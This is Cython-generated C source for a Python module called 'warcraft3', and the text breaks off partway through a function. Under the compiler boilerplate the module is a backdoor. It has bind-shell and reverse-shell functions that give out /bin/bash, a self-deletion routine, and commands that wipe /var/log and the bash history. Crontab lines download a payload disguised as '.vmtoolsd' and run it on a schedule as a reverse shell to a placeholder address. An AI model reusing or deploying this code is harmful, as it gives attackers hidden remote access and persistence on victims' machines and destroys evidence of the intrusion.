PY_MAJOR_VERSION >= 3#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL)#else#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL)#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULTstatic char* __PYX_DEFAULT_STRING_ENCODING;static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0;bad: Py_XDECREF(default_encoding); return -1;}#endif#endif/* Test for GCC > 2.95 */#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0)#else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x)#endif /* __GNUC__ */static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; }static PyObject *__pyx_m;static PyObject *__pyx_d;static PyObject *__pyx_b;static PyObject *__pyx_cython_runtime;static PyObject *__pyx_empty_tuple;static PyObject *__pyx_empty_bytes;static PyObject *__pyx_empty_unicode;static int __pyx_lineno;static int __pyx_clineno = 0;static const char * __pyx_cfilenm= __FILE__;static const char *__pyx_filename;static const char *__pyx_f[] = { "warcraft3.py",};/*--- Type declarations ---*//* --- Runtime support code (head) --- *//* Refnanny.proto */#ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0#endif#if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL;#ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ }#else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__)#endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0)#else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r)#endif#define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0)#define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0)#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0)#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0)/* PyObjectGetAttrStr.proto */#if CYTHON_USE_TYPE_SLOTSstatic CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name);#if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name));#endif return PyObject_GetAttr(obj, attr_name);}#else#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n)#endif/* GetBuiltinName.proto */static PyObject *__Pyx_GetBuiltinName(PyObject *name);/* RaiseArgTupleInvalid.proto */static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found);/* RaiseDoubleKeywords.proto */static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name);/* ParseKeywords.proto */static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name);/* GetModuleGlobalName.proto */static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name);/* PyFunctionFastCall.proto */#if CYTHON_FAST_PYCALL#define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL)#if 1 || PY_VERSION_HEX < 0x030600B1static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs);#else#define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs)#endif#endif/* PyCFunctionFastCall.proto */#if CYTHON_FAST_PYCCALLstatic CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs);#else#define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL)#endif/* PyObjectCall.proto */#if CYTHON_COMPILING_IN_CPYTHONstatic CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw);#else#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw)#endif/* PyObjectCallMethO.proto */#if CYTHON_COMPILING_IN_CPYTHONstatic CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg);#endif/* PyObjectCallOneArg.proto */static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg);/* PyThreadStateGet.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate;#define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET();#else#define __Pyx_PyThreadState_declare#define __Pyx_PyThreadState_assign#endif/* SaveResetException.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb)static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb)static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb);#else#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb)#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb)#endif/* PyErrExceptionMatches.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err)static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err);#else#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err)#endif/* GetException.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb)static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);#elsestatic int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb);#endif/* None.proto */static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname);/* PyObjectCallNoArg.proto */#if CYTHON_COMPILING_IN_CPYTHONstatic CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func);#else#define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL)#endif/* RaiseTooManyValuesToUnpack.proto */static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected);/* RaiseNeedMoreValuesToUnpack.proto */static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index);/* IterFinish.proto */static CYTHON_INLINE int __Pyx_IterFinish(void);/* UnpackItemEndCheck.proto */static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected);/* Import.proto */static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level);/* ImportFrom.proto */static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name);/* FetchCommonType.proto */static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type);/* CythonFunction.proto */#define __Pyx_CyFunction_USED 1#include <structmember.h>#define __Pyx_CYFUNCTION_STATICMETHOD 0x01#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02#define __Pyx_CYFUNCTION_CCLASS 0x04#define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure)#define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj)#define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults))#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g)typedef struct { PyCFunctionObject func;#if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist;#endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations;} __pyx_CyFunctionObject;static PyTypeObject *__pyx_CyFunctionType = 0;#define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code)static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code);static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects);static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple);static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict);static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict);static int __pyx_CyFunction_init(void);/* IncludeStringH.proto */#include <string.h>/* BytesEquals.proto */static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals);/* UnicodeEquals.proto */static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals);/* StrEquals.proto */#if PY_MAJOR_VERSION >= 3#define __Pyx_PyString_Equals __Pyx_PyUnicode_Equals#else#define __Pyx_PyString_Equals __Pyx_PyBytes_Equals#endif/* CLineInTraceback.proto */static int __Pyx_CLineForTraceback(int c_line);/* CodeObjectCache.proto */typedef struct { PyCodeObject* code_object; int code_line;} __Pyx_CodeObjectCacheEntry;struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries;};static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL};static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line);static PyCodeObject *__pyx_find_code_object(int code_line);static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object);/* AddTraceback.proto */static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename);/* Print.proto */static int __Pyx_Print(PyObject*, PyObject *, int);#if CYTHON_COMPILING_IN_PYPY || PY_MAJOR_VERSION >= 3static PyObject* __pyx_print = 0;static PyObject* __pyx_print_kwargs = 0;#endif/* PrintOne.proto */static int __Pyx_PrintOne(PyObject* stream, PyObject *o);/* CIntToPy.proto */static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value);/* CIntFromPy.proto */static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *);/* CIntFromPy.proto */static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *);/* CheckBinaryVersion.proto */static int __Pyx_check_binary_version(void);/* InitStrings.proto */static int __Pyx_InitStrings(__Pyx_StringTabEntry *t);/* Module declarations from 'warcraft3' */#define __Pyx_MODULE_NAME "warcraft3"int __pyx_module_is_main_warcraft3 = 0;/* Implementation of 'warcraft3' */static PyObject *__pyx_builtin_exit;static PyObject *__pyx_builtin_open;static const char __pyx_k_a[] = "-a";static const char __pyx_k_b[] = "-b";static const char __pyx_k_i[] = "-i";static const char __pyx_k_p[] = "-p";static const char __pyx_k_r[] = "r";static const char __pyx_k_os[] = "os";static const char __pyx_k_end[] = "end";static const char __pyx_k_r_2[] = "-r";static const char __pyx_k_addr[] = "addr";static const char __pyx_k_args[] = "args";static const char __pyx_k_bind[] = "bind";static const char __pyx_k_call[] = "call";static const char __pyx_k_dest[] = "dest";static const char __pyx_k_dup2[] = "dup2";static const char __pyx_k_exit[] = "exit";static const char __pyx_k_file[] = "file";static const char __pyx_k_main[] = "__main__";static const char __pyx_k_name[] = "__name__";static const char __pyx_k_open[] = "open";static const char __pyx_k_path[] = "path";static const char __pyx_k_port[] = "port";static const char __pyx_k_test[] = "__test__";static const char __pyx_k_fcntl[] = "fcntl";static const char __pyx_k_flock[] = "flock";static const char __pyx_k_popen[] = "popen";static const char __pyx_k_print[] = "print";static const char __pyx_k_shell[] = "shell";static const char __pyx_k_accept[] = "accept";static const char __pyx_k_action[] = "action";static const char __pyx_k_addr_2[] = "--addr";static const char __pyx_k_bind_2[] = "--bind";static const char __pyx_k_client[] = "client";static const char __pyx_k_fileno[] = "fileno";static const char __pyx_k_getcwd[] = "getcwd";static const char __pyx_k_import[] = "__import__";static const char __pyx_k_listen[] = "listen";static const char __pyx_k_port_2[] = "--port";static const char __pyx_k_reason[] = "reason";static const char __pyx_k_remove[] = "remove";static const char __pyx_k_socket[] = "socket";static const char __pyx_k_AF_INET[] = "AF_INET";static const char __pyx_k_LOCK_EX[] = "LOCK_EX";static const char __pyx_k_LOCK_NB[] = "LOCK_NB";static const char __pyx_k_connect[] = "connect";static const char __pyx_k_options[] = "options";static const char __pyx_k_pidfile[] = "pidfile";static const char __pyx_k_reverse[] = "--reverse";static const char __pyx_k_bin_bash[] = "/bin/bash";static const char __pyx_k_clearLog[] = "clearLog";static const char __pyx_k_filename[] = "filename";static const char __pyx_k_optparse[] = "optparse";static const char __pyx_k_realpath[] = "realpath";static const char __pyx_k_unsetLog[] = "unsetLog";static const char __pyx_k_optParser[] = "optParser";static const char __pyx_k_reverse_2[] = "reverse";static const char __pyx_k_warcraft3[] = "warcraft3";static const char __pyx_k_add_option[] = "add_option";static const char __pyx_k_deleteSelf[] = "deleteSelf";static const char __pyx_k_parse_args[] = "parse_args";static const char __pyx_k_store_true[] = "store_true";static const char __pyx_k_subprocess[] = "subprocess";static const char __pyx_k_BindConnect[] = "BindConnect";static const char __pyx_k_SOCK_STREAM[] = "SOCK_STREAM";static const char __pyx_k_warcraft3_2[] = "/warcraft3";static const char __pyx_k_OptionParser[] = "OptionParser";static const char __pyx_k_rm_f_var_log[] = "rm -f /var/log/*";static const char __pyx_k_warcraft3_py[] = "warcraft3.py";static const char __pyx_k_appendCrontab[] = "appendCrontab";static const char __pyx_k_unset_history[] = "unset history";static const char __pyx_k_ReserveConnect[] = "ReserveConnect";static const char __pyx_k_SingletonRunning[] = "SingletonRunning";static const char __pyx_k_echo_bash_history[] = "echo '' > ~/.bash_history";static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback";static const char __pyx_k_Failed_to_Create_Shell_s[] = "[-] Failed to Create Shell : %s";static const char __pyx_k_Failed_to_Create_Socket_s[] = "[-] Failed to Create Socket : %s";static const char __pyx_k_There_is_another_shell_is_runni[] = "[-] There is another shell is running";static const char __pyx_k_echo_0_0_root_wget_https_github[] = "echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab";static const char __pyx_k_echo_30_0_root_vmtoolsd_r_a_a_b[] = "echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab";static const char __pyx_k_echo_0_0_wget_https_github_org_c[] = "echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab";static const char __pyx_k_echo_30_0_vmtoolsd_r_a_a_b_c_d_p[] = "echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab";static PyObject *__pyx_n_s_AF_INET;static PyObject *__pyx_n_s_BindConnect;static PyObject *__pyx_kp_s_Failed_to_Create_Shell_s;static PyObject *__pyx_kp_s_Failed_to_Create_Socket_s;static PyObject *__pyx_n_s_LOCK_EX;static PyObject *__pyx_n_s_LOCK_NB;static PyObject *__pyx_n_s_OptionParser;static PyObject *__pyx_n_s_ReserveConnect;static PyObject *__pyx_n_s_SOCK_STREAM;static PyObject *__pyx_n_s_SingletonRunning;static PyObject *__pyx_kp_s_There_is_another_shell_is_runni;static PyObject *__pyx_kp_s_a;static PyObject *__pyx_n_s_accept;static PyObject *__pyx_n_s_action;static PyObject *__pyx_n_s_add_option;static PyObject *__pyx_n_s_addr;static PyObject *__pyx_kp_s_addr_2;static PyObject *__pyx_n_s_appendCrontab;static PyObject *__pyx_n_s_args;static PyObject *__pyx_kp_s_b;static PyObject *__pyx_kp_s_bin_bash;static PyObject *__pyx_n_s_bind;static PyObject *__pyx_kp_s_bind_2;static PyObject *__pyx_n_s_call;static PyObject *__pyx_n_s_clearLog;static PyObject *__pyx_n_s_client;static PyObject *__pyx_n_s_cline_in_traceback;static PyObject *__pyx_n_s_connect;static PyObject *__pyx_n_s_deleteSelf;static PyObject *__pyx_n_s_dest;static PyObject *__pyx_n_s_dup2;static PyObject *__pyx_kp_s_echo_0_0_root_wget_https_github;static PyObject *__pyx_kp_s_echo_0_0_wget_https_github_org_c;static PyObject *__pyx_kp_s_echo_30_0_root_vmtoolsd_r_a_a_b;static PyObject *__pyx_kp_s_echo_30_0_vmtoolsd_r_a_a_b_c_d_p;static PyObject *__pyx_kp_s_echo_bash_history;static PyObject *__pyx_n_s_end;static PyObject *__pyx_n_s_exit;static PyObject *__pyx_n_s_fcntl;static PyObject *__pyx_n_s_file;static PyObject *__pyx_n_s_filename;static PyObject *__pyx_n_s_fileno;static PyObject *__pyx_n_s_flock;static PyObject *__pyx_n_s_getcwd;static PyObject *__pyx_kp_s_i;static PyObject *__pyx_n_s_import;static PyObject *__pyx_n_s_listen;static PyObject *__pyx_n_s_main;static PyObject *__pyx_n_s_name;static PyObject *__pyx_n_s_open;static PyObject *__pyx_n_s_optParser;static PyObject *__pyx_n_s_options;static PyObject *__pyx_n_s_optparse;static PyObject *__pyx_n_s_os;static PyObject *__pyx_kp_s_p;static PyObject *__pyx_n_s_parse_args;static PyObject *__pyx_n_s_path;static PyObject *__pyx_n_s_pidfile;static PyObject *__pyx_n_s_popen;static PyObject *__pyx_n_s_port;static PyObject *__pyx_kp_s_port_2;static PyObject *__pyx_n_s_print;static PyObject *__pyx_n_s_r;static PyObject *__pyx_kp_s_r_2;static PyObject *__pyx_n_s_realpath;static PyObject *__pyx_n_s_reason;static PyObject *__pyx_n_s_remove;static PyObject *__pyx_kp_s_reverse;static PyObject *__pyx_n_s_reverse_2;static PyObject *__pyx_kp_s_rm_f_var_log;static PyObject *__pyx_n_s_shell;static PyObject *__pyx_n_s_socket;static PyObject *__pyx_n_s_store_true;static PyObject *__pyx_n_s_subprocess;static PyObject *__pyx_n_s_test;static PyObject *__pyx_n_s_unsetLog;static PyObject *__pyx_kp_s_unset_history;static PyObject *__pyx_n_s_warcraft3;static PyObject *__pyx_kp_s_warcraft3_2;static PyObject *__pyx_kp_s_warcraft3_py;static PyObject *__pyx_pf_9warcraft3_BindConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port); /* proto */static PyObject *__pyx_pf_9warcraft3_2ReserveConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port); /* proto */static PyObject *__pyx_pf_9warcraft3_4SingletonRunning(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_6deleteSelf(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_8unsetLog(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_10clearLog(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_12appendCrontab(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_int_0;static PyObject *__pyx_int_1;static PyObject *__pyx_int_2;static PyObject *__pyx_tuple_;static PyObject *__pyx_tuple__2;static PyObject *__pyx_tuple__3;static PyObject *__pyx_tuple__4;static PyObject *__pyx_tuple__5;static PyObject *__pyx_tuple__6;static PyObject *__pyx_tuple__7;static PyObject *__pyx_tuple__8;static PyObject *__pyx_tuple__9;static PyObject *__pyx_tuple__10;static PyObject *__pyx_tuple__11;static PyObject *__pyx_tuple__12;static PyObject *__pyx_tuple__13;static PyObject *__pyx_tuple__14;static PyObject *__pyx_tuple__15;static PyObject *__pyx_tuple__17;static PyObject *__pyx_tuple__19;static PyObject *__pyx_tuple__21;static PyObject *__pyx_tuple__26;static PyObject *__pyx_tuple__27;static PyObject *__pyx_tuple__28;static PyObject *__pyx_tuple__29;static PyObject *__pyx_codeobj__16;static PyObject *__pyx_codeobj__18;static PyObject *__pyx_codeobj__20;static PyObject *__pyx_codeobj__22;static PyObject *__pyx_codeobj__23;static PyObject *__pyx_codeobj__24;static PyObject *__pyx_codeobj__25;/* "warcraft3.py":13 * * # shell * def BindConnect(addr, port): # <<<<<<<<<<<<<< * '''shell''' * try: *//* Python wrapper */static PyObject *__pyx_pw_9warcraft3_1BindConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/static char __pyx_doc_9warcraft3_BindConnect[] = "\346\255\243\345\220\221\350\277\236\346\216\245shell";static PyMethodDef __pyx_mdef_9warcraft3_1BindConnect = {"BindConnect", (PyCFunction)__pyx_pw_9warcraft3_1BindConnect, METH_VARARGS|METH_KEYWORDS, __pyx_doc_9warcraft3_BindConnect};static PyObject *__pyx_pw_9warcraft3_1BindConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_addr = 0; PyObject *__pyx_v_port = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("BindConnect (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_addr,&__pyx_n_s_port,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); CYTHON_FALLTHROUGH; case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); CYTHON_FALLTHROUGH; case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_addr)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_port)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("BindConnect", 1, 2, 2, 1); __PYX_ERR(0, 13, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "BindConnect") < 0)) __PYX_ERR(0, 13, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_addr = values[0]; __pyx_v_port = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("BindConnect", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 13, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("warcraft3.BindConnect", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_9warcraft3_BindConnect(__pyx_self, __pyx_v_addr, __pyx_v_port); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r;}static PyObject *__pyx_pf_9warcraft3_BindConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port) { PyObject *__pyx_v_shell = NULL; PyObject *__pyx_v_reason = NULL; PyObject *__pyx_v_client = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; PyObject *__pyx_t_10 = NULL; PyObject *(*__pyx_t_11)(PyObject *); __Pyx_RefNannySetupContext("BindConnect", 0); __Pyx_INCREF(__pyx_v_addr); /* "warcraft3.py":15 * def BindConnect(addr, port): * '''shell''' * try: # <<<<<<<<<<<<<< * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) * shell.bind((addr,port)) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "warcraft3.py":16 * '''shell''' * try: * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # <<<<<<<<<<<<<< * shell.bind((addr,port)) * shell.listen(1) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_socket); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_AF_INET); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_SOCK_STREAM); if (unlikely(!__pyx_t_8)) 